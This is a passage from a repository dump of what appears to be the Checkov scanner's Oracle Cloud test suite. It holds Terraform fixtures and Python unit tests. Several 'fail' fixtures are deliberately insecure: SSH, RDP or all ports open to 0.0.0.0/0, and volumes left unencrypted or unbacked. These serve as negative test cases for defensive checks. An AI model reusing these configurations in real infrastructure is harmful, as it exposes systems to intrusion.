    "content": "\nresource \"oci_core_network_security_group_security_rule\" \"pass\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"EGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n\n    tcp_options {\n        destination_port_range {\n            max = 22\n            min = 22\n        }\n    }\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"pass1\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"EGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"pass2\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"INGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n    source_type = \"CIDR_BLOCK\"\n\n    tcp_options {\n        destination_port_range {\n            max = 25\n            min = 25\n        }\n    }\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"pass3\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"INGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n    source_type = \"CIDR_BLOCK\"\n\n    tcp_options {\n        destination_port_range {\n            max = 21\n            min = 1\n        }\n    }\n}\n\n\nresource \"oci_core_network_security_group_security_rule\" \"fail\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"INGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n    source_type = \"CIDR_BLOCK\"\n\n    tcp_options {\n        destination_port_range {\n            max = 22\n            min = 22\n        }\n    }\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"fail1\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"INGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n    source_type = \"CIDR_BLOCK\"\n\n    tcp_options {\n        destination_port_range {\n            max = 25\n            min = 21\n        }\n    }\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"fail2\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"INGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n    source_type = \"CIDR_BLOCK\"\n}\n\n\nresource \"oci_core_network_security_group_security_rule\" \"fail3\" {\n    network_security_group_id = oci_core_network_security_group.sg.id\n    direction = \"INGRESS\"\n    protocol = \"all\"\n    source = \"0.0.0.0/0\"\n    source_type = \"CIDR_BLOCK\"\n\n    tcp_options {\n        destination_port_range {\n            max = 25\n            min = 21\n        }\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_SecurityGroupsIngressStatelessSecurityRules/main.tf",
    "content": "\nresource \"oci_core_network_security_group_security_rule\" \"pass\" {\n  network_security_group_id = oci_core_network_security_group.test_network_security_group.id\n  direction                 = \"INGRESS\"\n  protocol                  = var.network_security_group_security_rule_protocol\n  stateless                 = true\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"fail\" {\n  network_security_group_id = oci_core_network_security_group.test_network_security_group.id\n  direction                 = \"INGRESS\"\n  protocol                  = var.network_security_group_security_rule_protocol\n  stateless                 = false\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"fail1\" {\n  network_security_group_id = oci_core_network_security_group.test_network_security_group.id\n  direction                 = \"INGRESS\"\n  protocol                  = var.network_security_group_security_rule_protocol\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"skip\" {\n  network_security_group_id = oci_core_network_security_group.test_network_security_group.id\n  direction                 = \"EGRESS\"\n  protocol                  = var.network_security_group_security_rule_protocol\n  stateless                 = true\n}\n\nresource \"oci_core_network_security_group_security_rule\" \"skip1\" {\n  network_security_group_id = oci_core_network_security_group.test_network_security_group.id\n  direction                 = \"EGRESS\"\n  protocol                  = var.network_security_group_security_rule_protocol\n  stateless                 = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_SecurityListIngress/main.tf",
    "content": "resource \"oci_core_security_list\" \"pass\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n  ingress_security_rules {\n    protocol = \"all\"\n    source   = \"192.168.1.0/24\"\n  }\n}\n\nresource \"oci_core_security_list\" \"fail\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_SecurityListIngressStateless/main.tf",
    "content": "resource \"oci_core_security_list\" \"pass\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n  ingress_security_rules {\n    protocol = \"all\"\n    source   = \"192.168.1.0/24\"\n  }\n}\n\nresource \"oci_core_security_list\" \"pass2\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n  ingress_security_rules {\n    protocol  = \"all\"\n    source    = \"192.168.1.0/24\"\n    stateless = true\n  }\n}\n\nresource \"oci_core_security_list\" \"pass3\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n\n  ingress_security_rules {\n    description = \"First\"\n    protocol    = \"all\"\n    source      = \"192.168.1.0/24\"\n    stateless   = true\n  }\n\n  ingress_security_rules {\n    description = \"Second\"\n    protocol    = var.ingress[\"protocol\"]\n    source      = var.ingress[\"source\"]\n    stateless   = true\n  }\n\n}\n\nresource \"oci_core_security_list\" \"fail\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n  ingress_security_rules {\n    protocol  = \"all\"\n    source    = \"192.168.1.0/24\"\n    stateless = false\n  }\n}\n\nresource \"oci_core_security_list\" \"fail2\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n\n  ingress_security_rules {\n    description = \"First\"\n    protocol    = \"all\"\n    source      = \"192.168.1.0/24\"\n    stateless   = true\n  }\n\n  ingress_security_rules {\n    description = \"Second\"\n    protocol    = var.ingress[\"protocol\"]\n    source      = var.ingress[\"source\"]\n    stateless   = false\n  }\n\n}\n\nresource \"oci_core_security_list\" \"skipped\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_SecurityListIngressStatelessListSyntax/main.tf",
    "content": "resource \"oci_core_security_list\" \"pass\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n  ingress_security_rules = [\n    {\n      protocol = \"all\"\n      source   = \"192.168.1.0/24\"\n    }\n  ]\n}\n\nresource \"oci_core_security_list\" \"pass2\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n  ingress_security_rules = [\n    {\n      protocol  = \"all\"\n      source    = \"192.168.1.0/24\"\n      stateless = true\n    }\n  ]\n}\n\nresource \"oci_core_security_list\" \"pass3\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n\n  ingress_security_rules = [\n    {\n      description = \"First\"\n      protocol    = \"all\"\n      source      = \"192.168.1.0/24\"\n      stateless   = true\n    },\n    {\n      description = \"Second\"\n      protocol    = var.ingress[\"protocol\"]\n      source      = var.ingress[\"source\"]\n      stateless   = true\n    }\n  ]\n}\n\nresource \"oci_core_security_list\" \"pass4\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n\n  ingress_security_rules = []\n}\n\nresource \"oci_core_security_list\" \"fail\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n  ingress_security_rules = [\n    {\n      protocol  = \"all\"\n      source    = \"192.168.1.0/24\"\n      stateless = false\n    }\n  ]\n}\n\nresource \"oci_core_security_list\" \"fail2\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n\n  ingress_security_rules = [\n    {\n      description = \"First\"\n      protocol    = \"all\"\n      source      = \"192.168.1.0/24\"\n      stateless   = true\n    },\n    {\n      description = \"Second\"\n      protocol    = var.ingress[\"protocol\"]\n      source      = var.ingress[\"source\"]\n      stateless   = false\n    }\n  ]\n}\n\nresource \"oci_core_security_list\" \"skipped\" {\n  compartment_id = oci_identity_compartment.tf-compartment.id\n  vcn_id         = oci_core_vcn.test_vcn.id\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_SecurityListUnrestrictedIngress22/main.tf",
    "content": "resource \"oci_core_security_list\" \"fail1\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 22\n            min = 22\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 900\n            min = 7\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\n\nresource \"oci_core_security_list\" \"fail\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 25\n            min = 25\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 22\n            min = 22\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\n\nresource \"oci_core_security_list\" \"pass0\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 25\n            min = 25\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 21\n            min = 20\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\n\nresource \"oci_core_security_list\" \"fail2\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 22\n            min = 21\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 23\n            min = 20\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\nresource \"oci_core_security_list\" \"fail3\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"all\"\n        source = \"0.0.0.0/0\"\n    }\n}\nresource \"oci_core_security_list\" \"pass1\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"1\"\n        source = \"0.0.0.0/0\"\n    }\n}\nresource \"oci_core_security_list\" \"pass4\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"all\"\n        source = \"0.0.0.1/0\"\n    }\n}\nresource \"oci_core_security_list\" \"fail5\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n}\n\nresource \"oci_core_security_list\" \"pass5\" {\n  ingress_security_rules = [\n    {\n      protocol = \"1\"\n      source   = \"${var.external_icmp_ingress}\"\n\n      icmp_options {\n        \"type\" = 3\n        \"code\" = 4\n      }\n    },\n    {\n      protocol = \"1\"\n      source   = \"${var.internal_icmp_ingress}\"\n\n      icmp_options {\n        \"type\" = 3\n        \"code\" = 4\n      }\n    }\n  ]\n\n  provisioner \"local-exec\" {\n    command = \"sleep 5\"\n  }\n    compartment_id = \"\"\n    vcn_id         = \"\"\n}\n\n\nresource \"oci_core_security_list\" \"pass6\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = \"25\"\n            min = \"25\"\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = \"21\"\n            min = \"20\"\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_SecurityListUnrestrictedIngress3389/main.tf",
    "content": "resource \"oci_core_security_list\" \"fail1\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 3389\n            min = 3389\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 4000\n            min = 3388\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\n\nresource \"oci_core_security_list\" \"fail\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 25\n            min = 25\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 3389\n            min = 3389\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\n\nresource \"oci_core_security_list\" \"pass0\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 4000\n            min = 3390\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 21\n            min = 20\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\n\nresource \"oci_core_security_list\" \"fail2\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"var.security_list_ingress_security_rules_protocol\"\n        source = \"0.0.0.0/0\"\n\n        tcp_options {\n            max = 3389\n            min = 3388\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_tcp_options_source_port_range_min\"\n            }\n        }\n        udp_options {\n            max = 3390\n            min = 3386\n            source_port_range {\n                max = \"var.security_list_ingress_security_rules_udp_options_source_port_range_max\"\n                min = \"var.security_list_ingress_security_rules_udp_options_source_port_range_min\"\n            }\n        }\n    }\n}\nresource \"oci_core_security_list\" \"fail3\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"all\"\n        source = \"0.0.0.0/0\"\n    }\n}\nresource \"oci_core_security_list\" \"pass1\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"1\"\n        source = \"0.0.0.0/0\"\n    }\n}\nresource \"oci_core_security_list\" \"pass4\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n\n    ingress_security_rules {\n        protocol = \"all\"\n        source = \"0.0.0.1/0\"\n    }\n}\nresource \"oci_core_security_list\" \"pass5\" {\n    compartment_id = \"var.compartment_id\"\n    vcn_id = \"oci_core_vcn.test_vcn.id\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_StorageBlockBackupEnabled/main.tf",
    "content": "resource \"oci_core_volume\" \"pass\" {\n  #Required\n  compartment_id = var.compartment_id\n\n  #Optional\n  availability_domain = var.volume_availability_domain\n  backup_policy_id    = data.oci_core_volume_backup_policies.test_volume_backup_policies.volume_backup_policies.0.id\n  block_volume_replicas {\n    #Required\n    availability_domain = var.volume_block_volume_replicas_availability_domain\n\n    #Optional\n    display_name = var.volume_block_volume_replicas_display_name\n  }\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.volume_display_name\n  freeform_tags        = { \"Department\" = \"Finance\" }\n  is_auto_tune_enabled = var.volume_is_auto_tune_enabled\n  kms_key_id           = oci_kms_key.test_key.id\n  size_in_gbs          = var.volume_size_in_gbs\n  size_in_mbs          = var.volume_size_in_mbs\n  source_details {\n    #Required\n    id   = var.volume_source_details_id\n    type = var.volume_source_details_type\n  }\n  vpus_per_gb                    = var.volume_vpus_per_gb\n  block_volume_replicas_deletion = true\n}\n\n\nresource \"oci_core_volume\" \"fail\" {\n  #Required\n  compartment_id = var.compartment_id\n\n  #Optional\n  availability_domain = var.volume_availability_domain\n\n  block_volume_replicas {\n    #Required\n    availability_domain = var.volume_block_volume_replicas_availability_domain\n\n    #Optional\n    display_name = var.volume_block_volume_replicas_display_name\n  }\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.volume_display_name\n  freeform_tags        = { \"Department\" = \"Finance\" }\n  is_auto_tune_enabled = var.volume_is_auto_tune_enabled\n  kms_key_id           = oci_kms_key.test_key.id\n  size_in_gbs          = var.volume_size_in_gbs\n  size_in_mbs          = var.volume_size_in_mbs\n  source_details {\n    #Required\n    id   = var.volume_source_details_id\n    type = var.volume_source_details_type\n  }\n  vpus_per_gb                    = var.volume_vpus_per_gb\n  block_volume_replicas_deletion = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_StorageBlockEncryption/main.tf",
    "content": "resource \"oci_core_volume\" \"pass\" {\n  #Required\n  compartment_id = var.compartment_id\n\n  #Optional\n  availability_domain = var.volume_availability_domain\n  backup_policy_id    = data.oci_core_volume_backup_policies.test_volume_backup_policies.volume_backup_policies.0.id\n  block_volume_replicas {\n    #Required\n    availability_domain = var.volume_block_volume_replicas_availability_domain\n\n    #Optional\n    display_name = var.volume_block_volume_replicas_display_name\n  }\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.volume_display_name\n  freeform_tags        = { \"Department\" = \"Finance\" }\n  is_auto_tune_enabled = var.volume_is_auto_tune_enabled\n  kms_key_id           = oci_kms_key.test_key.id\n  size_in_gbs          = var.volume_size_in_gbs\n  size_in_mbs          = var.volume_size_in_mbs\n  source_details {\n    #Required\n    id   = var.volume_source_details_id\n    type = var.volume_source_details_type\n  }\n  vpus_per_gb                    = var.volume_vpus_per_gb\n  block_volume_replicas_deletion = true\n}\n\n\nresource \"oci_core_volume\" \"fail\" {\n  #Required\n  compartment_id = var.compartment_id\n\n  #Optional\n  availability_domain = var.volume_availability_domain\n\n  block_volume_replicas {\n    #Required\n    availability_domain = var.volume_block_volume_replicas_availability_domain\n\n    #Optional\n    display_name = var.volume_block_volume_replicas_display_name\n  }\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.volume_display_name\n  freeform_tags        = { \"Department\" = \"Finance\" }\n  is_auto_tune_enabled = var.volume_is_auto_tune_enabled\n  size_in_gbs          = var.volume_size_in_gbs\n  size_in_mbs          = var.volume_size_in_mbs\n  source_details {\n    #Required\n    id   = var.volume_source_details_id\n    type = var.volume_source_details_type\n  }\n  vpus_per_gb                    = var.volume_vpus_per_gb\n  block_volume_replicas_deletion = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_DataCatalogWithPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.oci.DataCatalogWithPublicAccess import check\n\n\nclass TestDataCatalogWithPublicAccess(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_DataCatalogWithPublicAccess\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'oci_datacatalog_catalog.pass'\n        }\n        failing_resources = {\n            'oci_datacatalog_catalog.fail2',\n            'oci_datacatalog_catalog.fail1',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_FileSystemEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.FileSystemEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFileSystemEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_FileSystemEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_file_storage_file_system.pass\",\n        }\n        failing_resources = {\n            \"oci_file_storage_file_system.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_IAMPasswordLength.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.IAMPasswordLength import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPasswordLength(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMPasswordLength\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_identity_authentication_policy.pass\",\n        }\n        failing_resources = {\n            \"oci_identity_authentication_policy.fail\",\n            \"oci_identity_authentication_policy.fail3\",\n            \"oci_identity_authentication_policy.fail2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_IAMPasswordPolicyLowerCase.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.IAMPasswordPolicyLowerCase import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPasswordPolicyLowerCase(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMPasswordPolicyLowerCase\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_identity_authentication_policy.pass\",\n        }\n        failing_resources = {\n            \"oci_identity_authentication_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_IAMPasswordPolicyNumeric.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.IAMPasswordPolicyNumeric import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPasswordPolicyNumeric(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMPasswordPolicyNumeric\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_identity_authentication_policy.pass\",\n        }\n        failing_resources = {\n            \"oci_identity_authentication_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_IAMPasswordPolicySpecialCharacters.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.oci.IAMPasswordPolicySpecialCharacters import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPasswordPolicySpecialCharacters(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMPasswordPolicySpecialCharacters\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"oci_identity_authentication_policy.pass\",\n        }\n        failing_resources = {\n            \"oci_identity_authentication_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/oci/test_IAMPasswordPolicyUpperCase.py",
